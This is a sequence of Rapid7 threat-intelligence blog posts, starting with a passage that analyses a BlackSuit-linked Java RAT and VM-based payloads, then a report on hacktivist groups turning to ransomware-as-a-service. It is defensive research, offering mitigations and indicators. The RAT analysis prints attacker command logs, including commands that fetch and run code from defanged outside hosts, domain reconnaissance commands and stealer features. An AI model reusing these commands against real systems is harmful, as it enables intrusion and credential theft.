One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 11. Debug statement output after executing the Java RAT via console.

The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.

After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 12. Example process tree for the Java RAT.

The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.

Otherwise, the content will be executed as a regular PowerShell command.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 14. The default case in the if-else chain executes the command string via PowerShell.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 15. The ‘execute()’ function within the same class executes the command string as a PowerShell command via jPowerShell.

Command Function
send Send a file from the operator’s machine to the infected machine.
recive Upload a file from the infected machine to the relevant cloud drive. The command string includes a typo made by the developer.
extract Extract a specified file archive.
loginform Present a fake login prompt to the user. Entered credentials are validated locally, and if correct, are uploaded to the operator’s machine through the cloud drive. The username must be specified by the operator.
newconfig Replace the existing configuration with one retrieved from Google Sheets.
checkconfig Check Google Sheets using the SSID to see if an update is available.
startsocks5 Initiate a Socks5 proxy tunnel using python.
steal Attempt to decrypt and steal stored browser database information. (e.g., credentials)
screen Given a supplied URL, download and execute a Java class in memory.

Table 1. Command key for the Java RAT.

The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 16. The credential harvesting window used by the Java RAT.

As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.

Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform <username> 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user <username> /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname

Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform <username> 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 <domain_controller_hostname> 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain > c:\users\public\001.txt

In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.

Qemu

In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 17. Evidence left in the .qcow2 image, including a ScreenConnect installer, registry command, and QDoor malware.

Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.

In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 18. The contents of `bootlocal[.]sh within the TinyCore VM`

Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 19. Part of the `.ash_history` command log within the TinyCore VM.

In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 20. The ELF `nossl` begins execution by setting the C2 IPv4 address. Debugging symbols were left inside the file, which shows the original variable names.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 21. The registration string sent by `nossl` to the C2 proxy server from within the TinyCore VM.

As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 22. One of Black Basta’s operators (@tinker) discusses their connection to a member of the BlackSuit ransomware group, with Black Basta’s leader (@usernamegg).

Malware Testing

After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 23. Injection logic implemented by one version of the dynamically loaded Java Screenshot class.

The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 24. Test message box spawned by the Rust executable `testapp.exe`.

The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).

Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt [email protected]: start shellcode done

In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.

Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt [email protected]: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt [email protected]: <redacted_public_ipv4_address_for_compromised_system>

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 25. One version of the Java Screenshot class implements functionality to retrieve the infected host’s external IP address and save it to a file named `info.txt`.

Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.

The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 26. The python RAT source labels the decrypted payload as “Anubis”.

InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py
Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.

Command Function
killexit Immediately terminates the process.
ip Creates a UDP socket targeting Google’s DNS server (8.8.8[.]8) and connects to it to retrieve the machine’s local IP address.
‘cd ‘ Change the working directory to one specified by the C2.
‘gt ‘ Steal a specified file or directory. Reads and sends the content straight to the C2. If the target is a directory, the script will archive it into a zip file first.
‘up ‘ Upload a file sent by the C2, to the infected host, to a specified file path.
env If the C2 specifies a ‘list’ command, the RAT returns all the existing environmental variables. Otherwise returns a specific variable chosen by the C2.
!cf! Create/update a key (named via hard coded string) in the user’s registry using configuration data sent by the C2. Allows for the malware’s configuration to be dynamically updated.
!tcf! Test C2 addresses supplied by the current C2 in a new config, by creating a TCP socket to attempt to connect to the new address(es) supplied. Returns the result to current C2. Doesn’t update the config.
default If one of the above commands is not present, create a child console process (cmd.exe) to execute the contents received from the C2 and return stdout.

Table 2. Command key for the python RAT.

Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\<truncated>. In contrast, updater.exe, the Rust SSH loader previously mentioned, references the user lucak.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 27. A listing of the Downloads directory on an asset within the malware developer’s test lab.

Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

Detections
Suspicious Chat Request – Potential Social Engineering Attempt
Initial Access – Potential Social Engineering Session Initiated Following Chat Request
Attacker Technique – Base64 String Added to HKCU Registry Key
Suspicious Process – LNK Executes PowerShell via JAR
Suspicious Process – QEMU Loads Disk From Staging Directory
Credential Access – Steal or Forge Kerberos tickets
Anomaly Detection – Failed AS-REP Roasting Attack
Non-Approved Application – Remote Management and Monitoring (RMM) Tools

MITRE ATT&CK Techniques

Tactic Technique Procedure
Reconnaissance T1591: Gather Victim Org Information Operators utilize publicly available information to identify target contact details and financial information.
Resource Development T1587.001: Develop Capabilities: Malware The threat actors are actively developing new malware to distribute.
Impact T1498: Network Denial of Service The threat actors overwhelm email protection solutions with spam.
Impact T1486: Data Encrypted for Impact The threat actors historically either deploy ransomware after compromising a network, or sell the access to a ransomware group.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actors call impacted users and pretend to be a member of the target organization’s IT team to gain remote access.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actors decrypt some zip archive payloads with a password, onto infected hosts.
Defense Evasion T1055.002: Process Injection: Portable Executable Injection Some payloads executed by the threat actors utilize local PE injection.
Defense Evasion T1620: Reflective Code Loading Some payloads executed by the threat actors load and execute shellcode.
Credential Access T1649: Steal or Forge Authentication Certificates The threat actors have abused ADCS services to acquire certificates.
Credential Access T1056.001: Input Capture: Keylogging The threat actors run an executable that can harvest the user’s credentials.
Credential Access T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting The threat actors have performed Kerberoasting after gaining initial access.
Credential Access T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting The threat actors have performed AS-REP roasting attacks after gaining initial access.
Discovery T1033: System Owner/User Discovery The threat actors enumerate asset and user information within the environment after gaining access.
Command and Control T1572: Protocol Tunneling The threat actors use SSH reverse tunnels to provide/proxy remote access.
Command and Control T1219: Remote Access Software The threat actors have used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.

Indicators of Compromise

All indicators of compromise are available at the Rapid7 GitHub repository.

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime

Post Syndicated from Rapid7 original https://blog.rapid7.com/2025/06/03/from-ideology-to-financial-gain-exploring-the-convergence-from-hacktivism-to-cybercrime/

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime

Co-authored by Yaniv Allender and Alexandra Blia

Introduction

In the ever-evolving landscape of cyber threat actors, the lines between ideologically driven hacktivism and financially motivated cybercriminals have become increasingly blurred. Originally fueled by political, social, or ethical causes, hacktivist groups have historically engaged in digital protest through website defacements, data leaks, and distributed denial of service (DDoS) attacks.

However, in recent years, a noticeable trend has emerged. Some hacktivist groups are evolving into ransomware operations and even becoming ransomware affiliates. This transformation is driven by a mix of ideological fatigue, opportunity for financial gain, access to sophisticated tools, and the growing profitability of extortion-based attacks. The result is a new hybrid threat actor—one that merges the disruptive zeal of hacktivism with the ruthless efficiency of cybercrime.

Understanding this shift is crucial for defenders, as it represents a convergence of motives that complicates attribution, response, and mitigation strategies. To this end, we have examined three prominent examples of relevant threat actors, namely FunkSec, KillSec, and GhostSec, identifying the drivers behind their transition to financially motivated campaigns and exploring the shift in their modus operandi.

Threat actor analysis

FunkSec

The FunkSec ransomware group emerged within the cybercrime ecosystem as a rising star in December 2024. The ransomware-as-a-service (RaaS) group has claimed at least 172 victims to date. The group proudly promotes itself as an AI-driven ransomware group, with their encryptor, FunkLocker, and some of the malware’s source code allegedly generated using generative AI tools.

The group targets organizations from various sectors and regions, such as government, education, automotive, energy, IT, and manufacturing, located in countries like the United States, Israel, France, Italy, Germany, India, and Australia.

FunkSec started as a politically motivated hacking (hacktivist) group, specifically interested in targeting the United States (Figure 1). The group was known to be aligned with the “Free Palestine” movement (Figure 2), and associated itself with other hacktivist groups, such as Ghost Algeria and Cyb3r Fl00d. Among its affiliates are Scorpion (AKA DesertStorm, a suspected Algeria-based hacker), El_farado, XTN, Blako, and Bjorka (an alleged Indonesian hacktivist). In its early days, the group offered tools commonly associated with hacktivist activities, including services for DDoS and defacement attacks.

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 1 – FunkSec’s activities as a hacktivist

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 2 – FunkSec’s statement against the USA and Israel

At some point, the group transitioned its focus from politically motivated attacks to a RaaS model, offering customizable tools to its affiliates. Its victimology also changed from government entities to organizations across various sectors, such as education, technology, telecommunications, and agriculture (Figure 3).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 3 – FunkSec’s latest active DLS

FunkSec’s reliance on relatively simple malware development using AI-based tools also explains the fast transition of the group from targeted hacktivism campaigns to broader, financially-motivated activities, with a large number of victims in a short period of time (Figure 4).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 4 – FunkSec’s victims on their DLS

The group’s transition has also been referenced on a Russian-speaking dark web forum, where the author mentioned a cybersecurity vendor’s article on FunkSec (Figure 5).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 5 – FunkSec’s transition being referenced on a Russian-speaking dark web forum

KillSec

The KillSec hacktivist group (AKA Kill Security) has been active since at least 2021. The Russia-aligned group targets organizations from various sectors, such as government, finance, transportation, electronics, manufacturing, travel and recreation, retail, and consumer services, located in countries like India, Bangladesh, Romania, Poland, and Brazil. The group considers itself a “prominent hacktivist group operating in the cyber realm, with a focus on both disruption and digital activism.”

KillSec initially emerged as a hacktivist group aligned with the Anonymous collective, with its operations primarily including DDoS attacks and website defacements, before pivoting to ransomware operations in October 2023. KillSec’s ransomware variants, namely KillSecurity 2.0 and KillSecurity 3.0, are designed to encrypt files and demand ransom payments for decryption.

In June 2024, KillSec introduced a RaaS operation, advertising a locker for Windows environments written in C++ and a dashboard, enabling affiliates to observe detailed statistics, conduct chat communications, and customize ransomware configurations using a builder tool. In November 2024, the group launched an additional locker for ESXi environments, expanding the breadth of its operations (Figure 6).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 6 – KillSec launches locker for ESXi environments

The group’s shift is aligned with the overall proliferation of RaaS programs, enabling less technically skilled individuals to conduct ransomware attacks with relative ease in exchange for a fee. The group has been advertising its RaaS offering in an attempt to attract cybercriminals and further broaden its affiliate network (Figure 7).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 7 – KillSec looking for affiliates

Although in certain incidents, KillSec leveraged solely stolen data to extort the victims, the group appears to adopt mainly double extortion tactics, exfiltrating data in addition to encrypting it and demanding a ransom payment to prevent it from being leaked. The group operates an active dedicated leak site (DLS) to which it uploads the data of victims who refuse to pay the ransom. The group also uses its DLS to advertise its services, which include penetration testing, data gathering, and its RaaS program (Figure 8).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 8 – KillSec’s services

It should be noted that KillSec’s DLS also features a “For Sale” section, offering data allegedly exfiltrated from the targeted companies for sale, with the prices ranging between $5,000 and $350,000 (Figure 9). The group likely introduced this section in an attempt to further monetize the exfiltrated data. This offering of stolen data and additional services further suggests the financially motivated nature of the group’s activity.

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 9 – “For Sale” section on KillSec’s DLS

GhostSec

The GhostSec hacktivist group (AKA Ghost Security, GhostSecMafia, and GSM) has been active since at least 2015. The Anonymous-affiliated group gained prominence with the #OpIsis and #OpParis​​ campaigns, in which various hacktivist groups took down thousands of ISIS websites and social media accounts using defacement and DDoS attacks. Since then, GhostSec has participated in campaigns, such as #OpLebanon, #OpNigeria, #OpMyanmar, #OpEcuador, and #OpColombia. The group has also continuously launched cyberattacks on Israel in response to alleged war crimes, primarily defacing their websites to spread “Free Palestine” messages.

GhostSec’s shift towards financially motivated operations overlaps with the group’s collaboration with cybercriminals. In July 2023, GhostSec announced that they formed a partnership with the Stormous ransomware group to target organizations in Cuba (Figure 10). Following this announcement, Stormous and GhostSec jointly claimed extortion attacks against three Cuban government ministries, and GhostSec also expressed the potential for future joint operations against other countries. In August 2023, GhostSec, together with ThreatSec, Stormous, Blackforums, and SiegedSec, collectively formed a unified collective, naming themselves “The Five Families” (Figure 11). This collective attempted to extort the presidential website of Cuba and the Brazilian organization Alfa Comercial.

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 10 – Announcement of the alliance between GhostSec and Stormous on their Telegram channel

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 11 – Announcement of the “Five Families” formation on their Telegram channel

GhostSec solidified its presence in the cybercriminal ecosystem with the launch of its RaaS program “GhostLocker” in October 2023, which was shortly followed by the release of its infostealer tool, GhostStealer (Figure 12). In January 2024, the updated “REWRITE” (aka GhostLocker 2.0) version of GhostLocker was released, with a fully featured management panel allowing affiliates to track campaigns and payouts. The threat actor promoted its malware-as-a-service (MaaS) tools heavily on its Telegram channels, demonstrating its intention to attract affiliates and, in turn, maximize its profits.

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 12 – GhostLocker’s release announcement

On May 15, 2024, GhostSec announced its retirement from cybercriminal activities and its return to hacktivism. The group stated that it reached this decision after having obtained enough funding to support its hacktivist operations. GhostSec further mentioned that Stormous would remain in charge of the management and operation of GhostLocker (Figure 13).

From Ideology to Financial Gain: Exploring the Convergence from Hacktivism to Cybercrime
Figure 13 – GhostSec’s retirement from cybercriminal activities

It should be noted that Stormous seemingly had already incorporated GhostLocker into its operations, even before GhostSec’s retirement. As of May 2025, the group is still active and operates the Stormous RaaS program, which appears to be a continuation of GhostLocker. This development signifies the mutual assistance and influence among united threat groups, as collectives like the Five Families allow them to maximize the impact and breadth of their operations by sharing resources, audience, and knowledge.

Two sides of the same coin?

This analysis shows that the threat actors in scope, FunkSec, KillSec, and GhostSec, have followed a similar trajectory, pivoting from politically motivated, disruptive campaigns to financial extortion. This transition is likely facilitated by the public availability of leaked ransomware builders, such as LockBit 3.0, which threat actors can leverage to develop their payloads.

The groups specifically appear to have adopted double extortion tactics, exfiltrating data from their victims and then encrypting it, in an attempt to pressure them to comply with their ransom demands. However, despite their seeming ability to conduct ransomware operations, these groups appear to lack the level of sophistication and specialization that characterize top-tier cybercriminal groups, such as Cl0p and LockBit, which are mentioned in the Rapid7 Q1 2025 ransomware report.

Interestingly enough, all three groups embraced RaaS as their business model while pivoting towards cybercrime. This evolution is aligned with the overall current status of the ransomware ecosystem, as RaaS programs have become increasingly more common. Such programs, demonstrating the financial nature of their activities, enable threat actors to maximize their profits by allowing affiliates to use their ransomware kit for a fee and a percentage of the collected ransom.

This transition of FunkSec, KillSec, and GhostSec has also affected and amplified the victimology of their operations. While these groups once operated as hacktivists that primarily targeted government entities, their scope of activities broadened significantly as they shifted to ransomware attacks. Along this process, their attacks shifted from targeted to opportunistic, against organizations of different sizes, operating in diverse sectors and geographies, that could be relatively easily compromised.

While all of these groups follow the pattern, shifting from hacktivism to cybercrime, and specifically financially motivated RaaS operations, the reason behind this transition remains unclear. As an exception, GhostSec appears to have embraced cybercrime in an attempt to gather funding for its hacktivist operations, according to its exit message. It should be noted that other threat actors, such as CyberVolk, have also launched RaaS programs to fund their operations, but these efforts remain scarce.

Finally, other hacktivist groups, such as Ikaruz Red Team and their affiliates, also operate ransomware, but they do so to cause disruption and make political statements. Thus, the scope of their operations differs from financial gain and is not comparable to that of the groups included in this analysis.

Conclusion

The evolution of FunkSec, KillSec, and GhostSec from hacktivist collectives to RaaS operations highlights a recent trend of a shift in motivations, driving cybercriminal behavior. Initially, these groups were propelled by political and ideological aims, targeting governments and organizations in alignment with their perceived causes. However, over time, their focus has clearly shifted towards financial gain, as evidenced by their adoption of RaaS models that prioritize profit over ideology. As cybercriminals adapt to “market demands,” it becomes clear that financial motivation has come to dominate their activities, leaving behind the ideological roots of their earlier campaigns.

Indicators of compromise (IoCs)

FunkSec

  • Darkweb DLS:
  • funksec53xh7j5t6ysgwnaidj5vkh3aqajanplix533kwxdz3qrwugid[.]onion
  • funksec7vgdojepkipvhfpul3bvsxzyxn66ogp7q4pptvujxtpyjttad[.]onion
  • funksecsekgasgjqlzzkmcnutrrrafavpszijoilbd6z3dkbzvqu43id[.]onion
  • Clearweb DLS: http://funksec[.]top
  • Funkforum: http://funk4ph7igelwpgadmus4n4moyhh22cib723hllneen7g2qkklml4sqd[.]onion
  • Session ID: 0538d726ae3cc264c1bd8e66c6c6fa366a3dfc589567944170001e6fdbea9efb3d

GhostSec

8b758ccdfbfa5ff3a0b67b2063c2397531cf0f7b3d278298da76528f443779e9

c9f71fc4f385a4469438ef053e208065431b123e676c17b65d84b6c69ef6748a

a1b468e9550f9960c5e60f7c52ca3c058de19d42eafa760b9d5282eb24b7c55f

3ecf05857d65f7bc58b547d023bde7cc521a82712b947c04ddf9d7d1645c0ce0

Stormous

KillSec

  • DLS: http://ks5424y3wpr5zlug5c7i6svvxweinhbdcqcfnptkfcutrncfazzgz5id[.]onion
  • Telegram channel: https://t.me/killsecc
  • TOX ID: 9453686EAB63923D1C35C92DDE5E61A6534DD067B5448C1C8D996A460B92CA5055C1AB0FCD22
  • Session ID:05cb94c52170c8119f7ebc2d8afc94b9746bc7c361d91c49e7d18e96e266582a07
  • SHA256: 8cee3ec87a5728be17f838f526d7ef3a842ce8956fe101ed247a5eb1494c579d
  • IP addresses: 82[.]147[.]84[.]98, 77[.]91[.]77[.]187, 93[.]123[.]39[.]65

Rapid7 customers

InsightIDR and Managed Detection and Response (MDR) customers have existing detection coverage through Rapid7’s expansive library of detection rules. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to the FunkSec, KillSec, and GhostSec ransomware activity. We will also continue to iterate detections as new variants emerge, giving customers continuous detection without manual tuning:

Suspicious Process – Malicious Hash On Asset

While this specific detection directly covers malicious binaries linked to ransomware operations, customers also benefit from a comprehensive suite of detections that alert on post-exploitation behavior often observed prior to ransomware deployment. These include detections for lateral movement, privilege escalation, and suspicious persistence mechanisms, providing layered defense even when the specific ransomware payload is novel or obfuscated.

Retail Under Siege: What Recent Cyber Attacks Tell Us About Today’s Threat Landscape

Post Syndicated from Emma Burdett original https://blog.rapid7.com/2025/05/27/retail-under-siege-what-recent-cyber-attacks-tell-us-about-todays-threat-landscape/

Retail Under Siege: What Recent Cyber Attacks Tell Us About Today’s Threat Landscape

When several major UK organizations, including well-known retail brands, found themselves caught in a cyber attack earlier this year, it made headlines. But this incident wasn’t the first, and it won’t be the last. It reflects a growing trend where attackers exploit third-party vendors to breach multiple businesses through a single point of entry.

In one case, the compromise stemmed from a vulnerability in MOVEit Transfer, a widely used file transfer tool. Attackers exploited the flaw through Zellis, a payroll provider servicing organisations such as Boots, the Co-op, and parts of the NHS. From that single access point, they were able to exfiltrate sensitive employee data, including names, dates of birth, national insurance numbers, and in some cases, bank details. Some customer data was also affected, although not financial information.

This wasn’t just a breach. It was a blueprint—and a clear signal that even the most trusted brands are vulnerable when third-party risk is left unaddressed.

A back door into the business

